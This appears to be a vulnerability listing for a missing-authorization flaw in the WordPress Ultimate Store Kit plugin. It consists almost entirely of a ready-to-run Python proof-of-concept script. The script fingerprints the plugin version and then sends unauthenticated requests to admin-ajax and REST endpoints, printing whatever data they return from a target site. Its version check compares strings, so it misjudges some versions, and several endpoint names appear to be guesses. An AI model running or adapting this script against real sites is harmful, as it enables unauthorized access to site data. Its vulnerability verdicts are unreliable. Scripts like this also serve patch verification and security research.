CVE-2025-69336 WordPress Ultimate Store Kit插件访问控制漏洞

import requests import sys # CVE-2025-69336 PoC - Missing Authorization in Ultimate Store Kit # Target: WordPress site with ultimate-store-kit plugin <= 2.9.4 def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-69336 This vulnerability allows low-privilege users to access admin functions """ target = target_url.rstrip('/') # Step 1: Identify if the plugin is installed plugin_check = requests.get( f"{target}/wp-content/plugins/ultimate-store-kit/readme.txt", timeout=10 ) if 'ultimate-store-kit' not in plugin_check.text.lower(): print("[-] Plugin not found or readme.txt not accessible") return False # Step 2: Check plugin version version = None for line in plugin_check.text.split('\n'): if line.startswith('Stable tag:'): version = line.split(':')[1].strip() break if version and version <= '2.9.4': print(f"[+] Plugin version {version} is potentially vulnerable") else: print(f"[-] Plugin version {version} may not be vulnerable") return False # Step 3: Test unauthorized access to admin functions # This endpoint may expose sensitive data to low-privilege users endpoints = [ '/wp-admin/admin-ajax.php?action=usk_get_products', '/wp-admin/admin-ajax.php?action=usk_export_data', '/wp-json/usk/v1/products' ] vulnerable = False for endpoint in endpoints: try: response = requests.get( f"{target}{endpoint}", cookies={'wordpress_test_cookie': 'WP+Cookie+check'}, timeout=10 ) # Check if response indicates successful unauthorized access if response.status_code == 200 and 'data' in response.text: print(f"[+] Potentially vulnerable endpoint: {endpoint}") print(f"[+] Response preview: {response.text[:200]}...") vulnerable = True except requests.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") return vulnerable if __name__ == '__main__': if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://example.com") sys.exit(1) target = sys.argv[1] print(f"[*] Testing {target} for CVE-2025-69336") if check_vulnerability(target): print("[+] Target appears to be vulnerable to CVE-2025-69336") else: print("[-] Target does not appear to be vulnerable")